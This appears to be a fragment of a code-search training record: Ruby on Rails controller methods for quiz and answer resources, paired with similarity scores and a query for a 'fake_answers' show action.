"def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end",
"def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end",
"def new\n @answer = Answer.new(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n if @v1_answer\n render json: @v1_alternative\n else\n render json: get_errors(@v1_alternative), status: :unprocessable_entity\n end\n end",
"def new\n @client_answer = ClientAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_answer }\n end\n end",
"def index\n @answers = @question.answers.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def index\n @answers=Answer.all\n end",
"def create\n passed = true\n count = 0\n if params[:status] == \"listOfAnswers\"\n params[:answers].each do |ans|\n @answer = Answer.new(answers_params(ans))\n if @answer.save\n if @answer.correct\n count = count + 1\n # update_result ans[:user_id], ans[:quiz_id]\n end\n else\n passed = false\n end\n end\n if passed\n create_result params[:answers].first[:user_id], params[:answers].first[:quiz_id], count\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n else\n @answer = Answer.new(answer_params)\n if @answer.save\n if @answer.correct\n update_result\n end\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end\n end",
"def api\n url = \"https://wagon-dictionary.herokuapp.com/#{@answer}\"\n response = URI.open(url).read\n json = JSON.parse(response)\n return json['found']\n end",
"def index\n @submitted_answers = SubmittedAnswer.all\n end",
"def show\n # @question_answer = Question::Answer.new\n @question = Question.find(params[:question_id])\n @answer = Answer.new(:question_id => @question.id, :quiz_id => @question.quiz.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_answer }\n end\n end",
"def guess\n question_response = QuestionResponse.build_response_guess(current_user, params)\n if question_response.try :save\n # load item\n question = Question.find(params[:id_question])\n item = question.xmlnode.xpath(\"//question/item[@text='\" + params[:item].gsub(\"'\", \"\\\\'\") + \"']\").first\n\n json = GuessQuestion.response(question, item, params[:answer])\n render json: json\n else\n render json: { message: \"error\" }, status: :unprocessable_entity\n end\n end",
"def new # GET /answers/new\n @answer = Answer.new\n end",
"def index\n @answers = Answer.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def answers\n @answers ||= {}\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def ask_questions\n if request.post?\n @album = Album.find( params[:answers][:album_id])\n @user = @album.user\n @question = Question.find params[:answers][:question_id]\n Answer.create(question: @question,\n content: params[:answers][:content],\n guest: current_guest)\n logger.info \"GUEST: #{current_guest}\"\n @questions = params[:answers][:questions].gsub('[','').\n gsub(']','').\n split(',').\n map{|id| id.to_i}\n if @questions.any?\n @album_id = @album.id\n @question = Question.find(@questions.first)\n @questions = @questions[1..-1]\n respond_to do |format|\n format.js\n format.html\n end\n else\n #reset_session\n render 'guests/thank_you'\n end\n end\n end",
"def index\n render json: @test_module.test_questions, status: :ok\n end",
"def index\n @question_answers = QuestionAnswer.all\n end",
"def show\n # id from url comes in as :id key of params hash\n @question = Question.find(params[:id])\n\n @answers = @question.answers.order(created_at: :desc)\n end",
"def show\n respond_to do |format|\n format.html {redirect_to root_path}\n format.text {render text: @answer.response}\n end\n end",
"def index\n @reply_answers = ReplyAnswer.all\n end",
"def index\n @dei_field_answers = DeiFieldAnswer.all\n end",
"def index\n @m_answers = MAnswer.all\n end",
"def index\n @icebreaker_answers = IcebreakerAnswer.all\n end",
"def index\n @user_answers = UserAnswer.all\n end",
"def new\n @textanswer = Textanswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @textanswer }\n end\n end",
"def new\n @online_answer = OnlineAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @online_answer }\n end\n end",
"def index\n @survey_answer_items = SurveyAnswerItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @survey_answer_items }\n end\n end",
"def update\n respond_to do |format|\n if @fake_answer.update(fake_answer_params)\n format.html { redirect_to @fake_answer, notice: 'Fake answer was successfully updated.' }\n format.json { render :show, status: :ok, location: @fake_answer }\n else\n format.html { render :edit }\n format.json { render json: @fake_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n json_response(@faq)\n end",
"def show\n @online_answer = OnlineAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_answer }\n end\n end",
"def show\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"def show\n @answer = Answer.new\n respond_to do |format|\n format.html { render }\n format.json { render json: {question: @question.to_json, insights: @question.insights.order(created_at: :desc)} }\n format.xml { render xml: @question.to_xml }\n end\n end"
] | [
"0.72328824",
"0.6914773",
"0.6857219",
"0.6836569",
"0.6794836",
"0.6794836",
"0.6794836",
"0.6794836",
"0.6748096",
"0.6711686",
"0.67115384",
"0.6679088",
"0.6662031",
"0.6576235",
"0.6550996",
"0.6509215",
"0.6509215",
"0.6509215",
"0.65022916",
"0.6499834",
"0.6479792",
"0.6430619",
"0.6420127",
"0.63545656",
"0.6346984",
"0.63268924",
"0.63186115",
"0.63032913",
"0.63032913",
"0.62908727",
"0.6282789",
"0.62625927",
"0.6258777",
"0.6226024",
"0.62077767",
"0.61855483",
"0.61766046",
"0.61701506",
"0.61701506",
"0.61701506",
"0.61701506",
"0.61701506",
"0.6164377",
"0.61449355",
"0.614215",
"0.61413795",
"0.6116284",
"0.6103381",
"0.60817003",
"0.6079099",
"0.607487",
"0.60733485",
"0.60641974",
"0.60638285",
"0.6048035",
"0.6042165",
"0.60339665",
"0.60274816",
"0.6023023",
"0.6022039",
"0.6006978",
"0.5992663",
"0.5985696",
"0.5982952",
"0.5977534",
"0.59769726",
"0.597093",
"0.5964042",
"0.595831",
"0.59566563",
"0.5951569",
"0.59475005",
"0.5925089",
"0.59235966",
"0.59183556",
"0.59142673",
"0.591257",
"0.59056526",
"0.5896559",
"0.589554",
"0.5875928",
"0.5875186",
"0.5862253",
"0.5853269",
"0.5847284",
"0.5843742",
"0.5843605",
"0.58420426",
"0.5835918",
"0.5829876",
"0.58273315",
"0.5823042",
"0.5822806",
"0.5810997",
"0.5803463",
"0.5770987",
"0.57676274",
"0.5765567",
"0.575892",
"0.57585996"
] | 0.76433223 | 0 |
GET /fake_answers/1 GET /fake_answers/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @answers = Answer.where(url_params)\n if @answers.size == 1\n @answers.first!\n end\n render json: @answers\n end",
"def index\n @fake_answers = FakeAnswer.all\n end",
"def show\n render json: @answer\n end",
"def index\n\n @answers = Answer.current\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def index\n @answers = Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @answers }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def get_answers_for\n user = current_user\n render_401 and return unless user\n prospect = User.find_by_id(params[:for_user_id])\n render_404 and return unless prospect\n\n answers = ShortQuestion.get_latest_n_answers_for(prospect.id, params[:num], params[:start])\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def show\n @quiz = params[:quiz_id]\n @fake_answers = FakeAnswer.where(question_id: params[:id])\n end",
"def answers\n @celebrity = Celebrity.find(params[:id])\n @answers = @celebrity.answers\n render json: @answers\n end",
"def answers\n request('answers')\n end",
"def show\n @submitted_answer = SubmittedAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def index\n @answers = @question.answers\n respond_with( @answers )\n end",
"def show\n @answer = Answer.find(params[:id])\n question_id = @answer.question\n @body = @answer.body\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @quick_answer = QuickAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_answer }\n end\n end",
"def index\n @question_answers = Question::Answer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @question_answers }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def responses\n question=Question.find(params[:questionId])\n render :json=> question.response\n end",
"def index\n if get_event\n @v1_answers = @event.alternatives\n render json: @v1_answers\n else\n @v1_answers = V1::Answer.all\n render json: @v1_answers\n end\n end",
"def show\n @client_answer = ClientAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_answer }\n end\n end",
"def show\n if @v1_answer\n render json: @v1_alternative\n else\n render json: get_errors(@v1_alternative), status: :unprocessable_entity\n end\n end",
"def show\n @user_answer = UserAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_answer }\n end\n end",
"def verify_answer\n answer = Answer.find(params[:id])\n\n respond_to do |format|\n if answer.verify_answer(params)\n format.json { render :json => true }\n else\n format.json { render :json => false }\n end\n end\n end",
"def index\n @given_answers = GivenAnswer.all\n end",
"def set_fake_answer\n @fake_answer = FakeAnswer.find(params[:id])\n end",
"def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end",
"def get_answers\n @answers\n end",
"def create\n @fake_answer = FakeAnswer.new(fake_answer_params)\n @fake_answer.question_id = params[:question_id]\n respond_to do |format|\n if @fake_answer.save\n format.html { redirect_to question_path(params[:quiz_id], params[:question_id]), notice: 'Fake answer was successfully created.' }\n format.json { render :show, status: :created, location: @fake_answer }\n else\n format.html { render :new }\n format.json { render json: @fake_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @answer_set = AnswerSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer_set }\n end\n end",
"def index\n render status: :ok, json: @simple_question_alternatives\n end",
"def new\n @question = Question.find(params[:question_id])\n @answer = Answer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def new\n @submitted_answer = SubmittedAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def show\n authorize! :answer, @questionnaire\n\n respond_to do |format|\n format.html {\n @answer_set = AnswerSet.new()\n @answer_set.questionnaire_id = @questionnaire.id\n @answer_set.init_questionnaire(@questionnaire)\n }\n format.json { render :json => @questionnaire.questions.to_json }\n end\n end",
"def show\n\t\t@question = Question.find(params[:id])\n @answers = Answer.where(\"question_id = ?\", @question.id).order('upvote DESC')\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: { question: @question, answers: @answers } }\n\t\tend\n\tend",
"def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end",
"def show\n @textanswer = Textanswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @textanswer }\n end\n end",
"def index\n @actual_answers = ActualAnswer.all\n end",
"def new\n @client_answer = ClientAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_answer }\n end\n end",
"def get_one\n question_data = Question.new.get_one( params[:id] )\n return render json: question_data\n end",
"def new\n @user_answer = UserAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_answer }\n end\n end",
"def new\n @answer = Answer.new(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @answer }\n end\n end",
"def show\n # @question_answer = Question::Answer.new\n @question = Question.find(params[:question_id])\n @answer = Answer.new(:question_id => @question.id, :quiz_id => @question.quiz.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_answer }\n end\n end",
"def show\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_answer_item }\n end\n end",
"def show\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @test_question }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @questionnaire }\n end\n end",
"def show\n if @user\n @answers = @question.answers.shuffle\n @equestion = @question.as_json.merge({:answers => @answers, :hearts => @user.hearts})\n render :json => @equestion\n else \n render text: \"Token failed verification\", status: 422\n end\n end",
"def show\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n @possible_answers = []\n @multiple_choice_question.wrong_answers.split(\",\").each do |wrong_answer|\n @possible_answers << wrong_answer\n end\n @possible_answers << @multiple_choice_question.correct_answer\n @possible_answers.shuffle!\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @multiple_choice_question }\n end\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def show\n # id from url comes in as :id key of params hash\n @question = Question.find(params[:id])\n\n @answers = @question.answers.order(created_at: :desc)\n end",
"def index\n @answer_respondents = AnswerRespondent.all\n end",
"def index\n @answers = Answer.all\n \n end",
"def show\n @online_answer = OnlineAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @online_answer }\n end\n end",
"def show\n @form = Form.where(id: params[:id]).includes(:questions => :answers).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @form }\n end\n end",
"def new # GET /answers/new\n @answer = Answer.new\n end",
"def show\n respond_with( @answer )\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def show\n @questionnaire = Questionnaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def index\n @survey_answer_items = SurveyAnswerItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @survey_answer_items }\n end\n end",
"def new\n @test_question = TestQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @test_question }\n end\n end",
"def show\n @answer = Answer.new\n respond_to do |format|\n format.html { render }\n format.json { render json: {question: @question.to_json, insights: @question.insights.order(created_at: :desc)} }\n format.xml { render xml: @question.to_xml }\n end\n end",
"def render_answer\n request('answers/render')\n end",
"def show\n @photo = Photo.find(params[:id])\n @answer = Answer.new(photo_id: params[:id], user_id: current_user.id) if current_user\n @answers = @photo.answers.plusminus_tally.order('plusminus_tally DESC')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n end",
"def index\n @picture_test_answers = PictureTestAnswer.all\n end",
"def show\n @report_question_answer = ReportQuestionAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report_question_answer }\n end\n end",
"def index\n @answers = @question.answers.all\n\n respond_to_index\n end",
"def new\n @textanswer = Textanswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @textanswer }\n end\n end",
"def create\n @v1_answer = current_user.answers.new(v1_answer_params)\n if @v1_answer.save\n render json: @v1_answer, status: :created\n else\n render json: @v1_answer.errors, status: :unprocessable_entity\n end\n end",
"def new\n @online_answer = OnlineAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @online_answer }\n end\n end",
"def show\n @answer = Answer.new\n respond_to do |format|\n format.html {render} # render questions/show.html.erb\n format.json {render json: @question.to_json}\n format.xml {render xml: @question.to_xml}\n end\n end",
"def getanswerable\n @the_question = Question.find(params[:id])\n @user_id = session[:user_id]\n if @the_question.user.id == @user_id\n render json: [{question: @the_question}]\n end\n end",
"def index\n render json: @test_module.test_questions, status: :ok\n end",
"def index\n @answers = Replay.all\n end",
"def show\n @answer = @question.answers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @answer }\n end\n end",
"def get_random\n @question = Question.get_random\n\n unless @question\n render json: { error: \"random question can't be found\" }.to_json, status: 404\n end\n end",
"def show\n @question_response = QuestionResponse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_response }\n end\n end",
"def index\n\t\t@answers = Answer.all\n\tend",
"def show\n @gotcha = Gotcha.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @gotcha }\n end\n end",
"def show\n respond_to do |format|\n format.html {redirect_to root_path}\n format.text {render text: @answer.response}\n end\n end",
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def my_scn_answers\n\t\t#collect all the answers of current user\n\t answers = current_user.answers.all.map(&:question).uniq\n\t\tif answers.present?\n\t\t# response to the JSON\n\t\trender :json=> {success: true, \"answers\" => answers.as_json('my_scn_answers')}\n\t else\n\t render :json=> { success: false, message: \"Answers are not present\" },:status=> 203\n\t end\n\tend",
"def api\n url = \"https://wagon-dictionary.herokuapp.com/#{@answer}\"\n response = URI.open(url).read\n json = JSON.parse(response)\n return json['found']\n end",
"def show\n \t\tquestion = Question.find(params[:id])\n \t\tputs \"QUESTION: #{question.name}\"\n \t\trender json: question\n \tend",
"def show\n @student_answer = StudentAnswer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student_answer }\n end\n end",
"def create\n passed = true\n count = 0\n if params[:status] == \"listOfAnswers\"\n params[:answers].each do |ans|\n @answer = Answer.new(answers_params(ans))\n if @answer.save\n if @answer.correct\n count = count + 1\n # update_result ans[:user_id], ans[:quiz_id]\n end\n else\n passed = false\n end\n end\n if passed\n create_result params[:answers].first[:user_id], params[:answers].first[:quiz_id], count\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n else\n @answer = Answer.new(answer_params)\n if @answer.save\n if @answer.correct\n update_result\n end\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end\n end",
"def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end",
"def index\n @answers = @question.answers.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def show\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @my_question }\n end\n end",
"def show\n @answer = Answer.find(params[:id])\n authorize! :read, @answer\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @answer }\n end\n end",
"def index\n @answers = Answer.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @answers }\n end\n end",
"def with_answers\n @questions = Question.answered\n render(:action => \"index\")\n end",
"def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end"
] | [
"0.7414684",
"0.73231447",
"0.6977481",
"0.6915329",
"0.686733",
"0.686733",
"0.686733",
"0.686733",
"0.68053627",
"0.68053627",
"0.68053627",
"0.6765608",
"0.6754531",
"0.66661406",
"0.66281915",
"0.6600402",
"0.65538317",
"0.6550331",
"0.6546079",
"0.6528259",
"0.6525468",
"0.6525468",
"0.65235054",
"0.6493619",
"0.6449344",
"0.63897455",
"0.6382682",
"0.6368775",
"0.6368585",
"0.6367811",
"0.63602304",
"0.63555086",
"0.6344651",
"0.6317977",
"0.6316229",
"0.6294572",
"0.6251968",
"0.6229918",
"0.6225117",
"0.62159187",
"0.6213915",
"0.62050766",
"0.6182767",
"0.6178906",
"0.6178233",
"0.61762255",
"0.61617804",
"0.61596024",
"0.6145467",
"0.61411947",
"0.6112989",
"0.60985327",
"0.60979",
"0.60979",
"0.60979",
"0.60979",
"0.60979",
"0.60820127",
"0.6059775",
"0.60591817",
"0.603256",
"0.6023378",
"0.6019378",
"0.60141504",
"0.6013506",
"0.6013506",
"0.6009131",
"0.6007239",
"0.60040283",
"0.60023993",
"0.5992279",
"0.59844553",
"0.59737784",
"0.5968663",
"0.5968215",
"0.5967594",
"0.5967181",
"0.59629464",
"0.5953588",
"0.5950763",
"0.59417367",
"0.5940083",
"0.59352714",
"0.5934355",
"0.59324163",
"0.5931549",
"0.5917108",
"0.59161735",
"0.5916084",
"0.5915369",
"0.5912629",
"0.59103745",
"0.5907737",
"0.5898055",
"0.5897527",
"0.589647",
"0.58962256",
"0.5885949",
"0.5881363",
"0.58789873",
"0.5877927"
] | 0.0 | -1 |
POST /fake_answers POST /fake_answers.json | def create
@fake_answer = FakeAnswer.new(fake_answer_params)
@fake_answer.question_id = params[:question_id]
respond_to do |format|
if @fake_answer.save
format.html { redirect_to question_path(params[:quiz_id], params[:question_id]), notice: 'Fake answer was successfully created.' }
format.json { render :show, status: :created, location: @fake_answer }
else
format.html { render :new }
format.json { render json: @fake_answer.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fake_answer_params\n params.require(:fake_answer).permit(:answer, :question_id, :quiz_id)\n end",
"def index\n @fake_answers = FakeAnswer.all\n end",
"def create\n passed = true\n count = 0\n if params[:status] == \"listOfAnswers\"\n params[:answers].each do |ans|\n @answer = Answer.new(answers_params(ans))\n if @answer.save\n if @answer.correct\n count = count + 1\n # update_result ans[:user_id], ans[:quiz_id]\n end\n else\n passed = false\n end\n end\n if passed\n create_result params[:answers].first[:user_id], params[:answers].first[:quiz_id], count\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n else\n @answer = Answer.new(answer_params)\n if @answer.save\n if @answer.correct\n update_result\n end\n render json: @answer, status: :created, location: @answer\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end\n end",
"def create\n @answer = Form::Answer.new(answer_params)\n respond_to do |format|\n if @answer.save\n format.html { redirect_to thanks_path, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = AttemptAnswer.new(answer_params) \n \n if @answer.save\n render json: @answer, status: :created \n else\n head(:unprocessable_entity)\n end\n end",
"def answers\n request('answers')\n end",
"def create\n @given_answer = GivenAnswer.new(given_answer_params)\n\n respond_to do |format|\n if @given_answer.save\n format.html { redirect_to @given_answer, notice: 'Given answer was successfully created.' }\n format.json { render :show, status: :created, location: @given_answer }\n else\n format.html { render :new }\n format.json { render json: @given_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n answer = Answer.new(content: params[:content], upvotes: 0, downvotes:0, user_id: params[:user_id], question_id: params[:question_id])\n \n if answer.save\n render json: {answer: answer, create_time: (answer.created_at.to_f * 1000).to_i, success: true}\n else\n render json: @answer.errors, success: false\n end\n end",
"def create\n @actual_answer = ActualAnswer.new(actual_answer_params)\n\n respond_to do |format|\n if @actual_answer.save\n format.html { redirect_to @actual_answer, notice: 'Actual answer was successfully created.' }\n format.json { render :show, status: :created, location: @actual_answer }\n else\n format.html { render :new }\n format.json { render json: @actual_answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to question_answer_url(@question, @answer), notice: \"Answer was successfully created.\" }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_fake_answer\n @fake_answer = FakeAnswer.find(params[:id])\n end",
"def create\n @answers = params[:user_answers]\n @answers.each do |key, value|\n UserAnswer.create(:user_id => current_user.id, :survey_question_id => key.to_i, :text => value)\n end\n redirect_to :root\n end",
"def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = Answer.new(params[:answer])\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render json: @answer, status: :created, location: @answer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html {\n redirect_to questions_url,\n notice: 'Answer submit successful.'\n }\n else\n format.html { render :new }\n format.json {\n render json: @answer.errors,\n status: :unprocessable_entity\n }\n end\n end\n end",
"def create \n\t\tquestionId = params[:questionId]\n\t\tanswerId = params[:answerId]\n\t\tanswer = params[:answer]\n\t\tnumAnswers = params[:numAnswers].to_i\n\n\t\tbegin\n\t\t\tsuccess = ParseManager.createUserAnswer(answer, answerId, questionId)\n\t\t\tnumAnswers -= 1\n\t\tend until numAnswers == 0\n\n\t\trender json:success\n\tend",
"def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end",
"def create\n @answer = @question.answers.new(answer_params)\n\n if @answer.save\n respond_to_save_success(@answer, [@question, @answer])\n else\n respond_to_save_failure(:new, @answer)\n end\n end",
"def create\n @v1_answer = current_user.answers.new(v1_answer_params)\n if @v1_answer.save\n render json: @v1_answer, status: :created\n else\n render json: @v1_answer.errors, status: :unprocessable_entity\n end\n end",
"def add_answer\n request('answers/add')\n end",
"def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def handle_post(body)\n make_response(200, validate_questions(body))\nend",
"def submit_form\n answers_params = params.permit!\n\n render json: Answer.insert_answers(answers_params, current_user[\"id\"])\n end",
"def create\n workout = Workout.find params[:workout_id]\n result = Question.create(workout, { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n @question = result[:question]\n\n respond_to do |format|\n unless @question.persisted?\n format.json { render :json => @question.errors.full_messages, :status => :unprocessable_entity }\n else\n format.json { render :json => @question.as_json({:include => :answers}) }\n end\n \n end\n\n end",
"def create\n @answer = Answer.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to @answer, notice: 'Answer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @answer }\n else\n format.html { render action: 'new' }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n\t\trespond_to do |format|\n\t\t\tif @answer.save\n\t\t\t\tformat.html { redirect_to @answer, notice: 'Survey was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @answer }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @answer.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def answer\n RecallTest.create(recalled_correctly: params[:answer_correct],\n chunk_id: params[:chunk_id], recall_date: Time.now)\n render nothing: true\n end",
"def create\n # @answer = Answer.new\n # @answer.user_id = current_user.もid\n # @answer.question_id = params[:question_id]\n # @answer.content = params[:content]\n # @answer.save\n # 一個保存できれば、何個でも保存できる\n if !params[:answer][:content]\n render json: {errors: \"未入力の項目があります。\"}, status: 422\n\n end\n @answer = current_user.answers.build(answer_params)\n @answer.save\n end",
